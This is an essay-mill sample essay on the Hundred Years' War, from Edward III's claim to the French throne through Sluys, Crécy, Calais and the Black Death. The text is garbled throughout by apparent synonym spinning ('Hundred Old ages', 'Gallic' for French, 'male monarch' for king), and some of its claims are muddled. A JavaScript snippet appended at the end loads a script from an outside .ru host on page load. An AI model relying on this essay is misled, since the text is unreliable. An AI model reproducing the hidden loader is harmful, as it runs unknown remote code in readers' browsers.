The Hundred Years War Essay Research Paper free essay sample

The Hundred Old ages? War Essay, Research Paper The Hundred Old ages? War was a war between England and France in which France defended its? crown against British regulation. This war had many effects on the people of each state. The beginning of the war goes back to the conquering of William for England. In 1066 William, the Duke of Normandy, led an ground forces into England. He won this conflict and became the male monarch of England. This was possible under feudal system. Feudalism is a signifier of societal categorization in which the members of an upper category are granted fifes, or pieces of land, by higher ranking Lords return for their military service. The liege, the individual having the land, had to travel through ceremonial in which they would state that they would be faithful to their master and battle for them if needed. In return the master would protect the liege ( Lace 12 ) . We will write a custom essay sample on The Hundred Years War Essay Research Paper or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Many old ages subsequently Isabella, the married woman of King Edward II of England, plotted to kill Edward II doing her boy Edward III male monarch ( Lace 12 ) . Because Edward III was really immature she would be able to govern the state through him. Edward II sent his boy and Isabella to pay court to Charles IV in 1325 for Gallic land that Edward II owned. Isabella took her lover, Roger de Mortimer, with them and while there they began to do their programs. After court is paid to Charles IV the three went to Hainault. While at that place Isabella and Mortimer convinced the Count of Hainault, William, to assist them subvert the male monarch. In 1327, with the aid of William? s military personnels, Isabella and Mortimer successfully overthrew Edward II and made Edward III male monarch. During their overthrow, King Charles IV of France, Isabella? s brother, died. When he died he had no kids to go forth the throne to, but his married woman Jeanne was pregnant. When she gave birth though she had a abortive girl. This enabled Charles? cousin, Philip of Valois, male monarch. Some of the people objected. Some thought that since Isabella was his sister she was closer to the throne than Philip and that she should be queen. Others thought that since Edward was his nephew he should be king, but the bulk of the Gallic were against Edward going their male monarch ( 14 ) . Philip was favored for many grounds: He was older: Philip was 35 and Edward was 15, Edward was under the control of his female parent and Mortimer ; Edward was a good known warrior, and Edward was considered a alien ( 14 ) . Edward so decided that he was tired of being controlled. On October 19, 1330, Edward gathered a little ground forces together and split into Isabella and Mortimer? s sleeping room. He seized Mortimer and hung him the following forenoon. He left Mortimer? s organic structure hanging for 2 yearss and darks. Isabella was treated more carefully. She was imprisoned and confined to several palaces for life ( 16 ) . In 1337 Edward III would return to France to claim what he felt what was truly his. ( Time Life 17 ) . On October 19, 1337, Edward III drafted a papers to Philip of Valois that said that Edward was the rightful male monarch of France and that Edward would no longer pay court to Philip of the Gallic lands that he owned. This missive was given to him by Henry Burghersh, the bishop of England. Philip merely sat back and smiled and prepared for war ( Time Life 17 ) . Edward drafted this papers because he disagreed with the manner that Philip was governing the land that he owned. There were dukes and Godheads appointed by Philip to govern over the lands of Edward III. Edward wanted to govern them himself. The two tried to work out their differences, but failed. This state of affairs was made more awkward because of other economic jobs between the 2 states. England and France depended on each other. France was England? s chief provider of salt and France depended on England for wool. English besides held the port at Bordeaux in France enabling them to command transit along the English Channel. Philip of Valois wanted to command the sea traffic so he began to organize links with Scotland, England? s hostile neighbour. England and Scotland were non on good footings with one another and had been contending since the 1290? s ( 19 ) . In 1314 the English, under Edward II lost to the Scottish at Bannockburn. Edward III made a pact with the Scottish in 1328 but intervened in 1329 when their leader Robert Bruce, died. The English so deposed David II, Bruce? s boy and the new male monarch. To assist organize a bond with the Scottish the Philip gave David shelter in France ( Lace 18 ) . Edward III got his retaliation on the Scottish in 1332. He got a little group of Scots Rebels together and after winning a series of major conflicts named Edward Baliol their leader. Baliol acknowledged Edward III as his master. The Scots chased Baliol over the Scots boundary line in December. Edward marched north and surrounded them at Berwick. The Scots sent an ground forces, but Edward defeated them at Halidon Hill in July,1334 ( Lace 18 ) . Philip of Valois so moved some of his ships from Mediterranean ports to a seaport at Normandy. Edward III saw these ships and thought that this was an attempted onslaught on him. He challenged Philip to a conflict in 1337, but Philip declined ( Time Life 20 ) . As the war began both sides had distinguishable advantages and disadvantages. The Gallic were backed by plentiful material resources such as a wide fertile land, 21 million people, and many mountains every bit good as fields ( Lace 21 ) . The English were backed by the trueness of Edward? s Lords and he was besides able to acquire parliament to raise revenue enhancements to fund the war. France was plagued by the deficiency of political and fiscal support accompanied by the inability to raise revenue enhancements. Philip was afraid that the people of Ypres, Ghent, and Bruges would declare Edward their male monarch because they depended on English wool to maintain their economic system running. The English? s jobs were that they were much poorer than France and that with a population 1/4 the size of France they would hold a much smaller army.Farmland was besides a job because it was merely good in the E ( Time Life 21 ) . gt ; The two societal categories of the two states were really similar with merely one distinct difference which Edward opposed. Both had a big rural peasantry with free renters and helot. The renters and helot lived on the farming area that they farmed which was owned by Nobels. In the towns there were many craftsmans merchandisers and clerks on the streets. These were considered the in-between category people. The Lords were separated into two categories. The first category was made up of lesser Godheads who owned little estates and had local powers. The higher nobility was made up of the little elite. These were dukes, earls, counts, and princes of lands. The difference began here. In England there was a individual authorities that was involved in regulating the whole land. In France the authorities was divided and counts or dukes were assigned to govern over certain countries of the land ( Lace 24 ) . In 1339 Edward began conflict. He sent a little ground forces to Flanders to seek to arouse Philip? s military personnels. He so went south and began a besieging butchering farm animal, firing harvests and small towns, and killing people. He besides began the usage of a chevauchee which literally means, ? run through on horesback. ? These were intended to do people sick of war and weaken the local authorities. The Gallic marched north and met the English near St. Quentin. Edward challenged Philip there and Philip agreed, but merely if Edward could happen a battlefield without trees in the manner. Philip subsequently changed his head though and backed down. This made Edward mad because it was a waste of clip and money ( Lace 30 ) . On June 24, 1340, the English sailed toward France. They turned around, but the Gallic chased them. Because the seaport was so narrow the two fleets ran into each other. The English scheme was to crash into the Gallic boats and attach themselves utilizing coping maulerss and so teem aboard. The English used pointers against the Gallic and were the first to kill off a big figure of people. This conflict, at Sluys, was the English? s foremost major triumph. After this the English were out of money and signed a armistice ( Lace 33 ) . During this armistice civil war was taking topographic point in Brittany over its countship. King Philip? s niece Jeanne of Blois, and John of Montfort both claimed the countship. John fled to England and acknowledged Edward as the male monarch of France in exchange for his support. In 1342 Edward began a chevauchee with 12,000 work forces, but Pope Benedict intervened in 1343 and persuaded Philip and Edward to subscribe a armistice. The countship still stood unresolved though and in 1345 Edward resumed the war catching the Gallic by surprise. Edward had Philip? s boy, John, lead an ground forces against Jeanne and won ( Lace 34 ) . The following major conflict was fought at Crecy on August 26, 1346. The Gallic outnumbered the English and fought on horseback. They besides wore armour and used spears and hired Genoese crossbowmen to contend for them. The English ground forces was made up largely of Yeomans on pes that fought with longbows. Crecy besides became the first conflict to utilize gunpowder ( Miller 305 ) . Edward strategically placed his ground forces on a hill between a forrest and a river coercing Philip to near him from merely one way. Philip chased after him but was tired and decided to rest. Late in the afternoon Philip realized this was his opportunity and ordered an onslaught. He ordered the hired Genovese crossbowmen to continue in forepart of the ground forces. They did, but the English began to fire back. The crossbowman attempted to withdraw and ran back toward the Frenchmen. Philip ordered his ground forces to hit them and the Gallic so charged the English ground forces. Many were killed by the English work forces at weaponries who were on pes and armed with axes and blades. The French ended up bear downing the English 16 times before Philip realized that merely 60 of his military personnels remained. He so retreated to his palace ( Lace 37 ) . The English did non recognize the extent of their triumph until the following forenoon. When the count was taken the English had lost fewer than 100 work forces, but the Gallic had lost more than 10,000 common soldiers and more than 1,500 knights and Lords including King John of Bohemia, the Duke of Lorraine, the Duke of Alencon, and the Count of Flanders ( 38 ) . The following major conflict was at Calais on August 3,1347 ( Miller 1 ) . Edward tried to besieging Calais, but Jeanne de Vienne, the metropolis? s commanding officer, held out in hopes that Edward would withdraw to England in the winter. Edward did non. Alternatively Edward built log huts to live in outside the metropolis walls. To back up his military personnels financially he set up a market and sold supplies to local husbandmans. While in France Edward heard about an attempted invasion by King David of Scotland. It was unsuccesful and David was captured at Neville? s Cross. Calais was get downing to run out of nutrient because the metropolis was surrounded ( Lace 39 ) . In early 1347 Vienne sent out 500 people because he was no longer able to feed them. The English would non allow them through though. Philip finally showed up to support Calais in July. Philip sent Edward a challenge, but edward refused because he felt he had the metropolis secured. Philip so left the town to its ain destiny. The following twenty-four hours Jeanne de Vienne rode out of town giving up his blade and the keys to the metropolis ( Lace 40 ) . Between the old ages of 1348 and 1350 the Balck decease invaded Europe. This atrocious disease was spread by septic rats and fleas and killed 1/4 to 1/3 of the population of Europe. Although the disease was most normally found among the hapless in over populated metropoliss Edward III? s daughterJoan died from it in Bordeaux. This caused a immense shortage in soldiers and caused the war to come to a base still for five old ages ( Lace 41 ) . In 1349 a secret plan to recapture Calais was discovered. The force was rapidly put down by a little English ground forces. In 1350 Edward led an English fleet against the Spanish from Castille and won. This would be edward? s last triumph and major conflict. He turned over his powers to his boy Edward the Black Prince merely two hebdomads before Philip of Valois died ( Lace 42 ) . ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;